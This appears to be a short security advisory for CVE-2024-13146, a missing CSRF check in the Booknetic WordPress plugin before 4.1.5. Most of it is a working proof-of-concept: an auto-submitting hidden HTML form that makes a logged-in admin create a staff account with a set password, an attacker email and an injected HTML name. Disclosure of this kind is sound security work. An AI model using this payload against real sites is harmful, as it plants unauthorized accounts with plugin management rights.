Booknetic < 4.1.5 – Staff Creation via CSRF | CVE 2024-13146

Description

The plugin does not have CSRF check when creating Staff accounts, which could allow attackers to make logged in admin add arbitrary Staff members via a CSRF attack

Proof of Concept

Make a logged in admin open a page with the code below

```
<html>
  <body>
    <form action="https://sandbox.booknetic.com/sandboxes/demo-regular-vA2R11/wp-admin/admin.php?page=booknetic&ajax=1" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="id" value="0" />
      <input type="hidden" name="wp&#95;user" value="1" />
      <input type="hidden" name="name" value="&quot;&gt;&lt;h1&gt;test" />
      <input type="hidden" name="profession" value="Sr&#46;&#32;Dev" />
      <input type="hidden" name="phone" value="" />
      <input type="hidden" name="email" value="evil&#64;evil&#46;com" />
      <input type="hidden" name="allow&#95;staff&#95;to&#95;login" value="1" />
      <input type="hidden" name="wp&#95;user&#95;use&#95;existing" value="no" />
      <input type="hidden" name="wp&#95;user&#95;password" value="Password@123" />
      <input type="hidden" name="update&#95;wp&#95;user" value="0" />
      <input type="hidden" name="note" value="Adnin" />
      <input type="hidden" name="locations" value="1" />
      <input type="hidden" name="services" value="1" />
      <input type="hidden" name="image" value="undefined" />
      <input type="hidden" name="weekly&#95;schedule" value="&#91;&#93;" />
      <input type="hidden" name="special&#95;days" value="&#91;&#93;" />
      <input type="hidden" name="holidays" value="&#91;&#93;" />
      <input type="hidden" name="translations" value="&#123;&#125;" />
      <input type="hidden" name="module" value="staff" />
      <input type="hidden" name="action" value="save&#95;staff" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```

A new user with wordpress login is made who have manage permission to the plugin.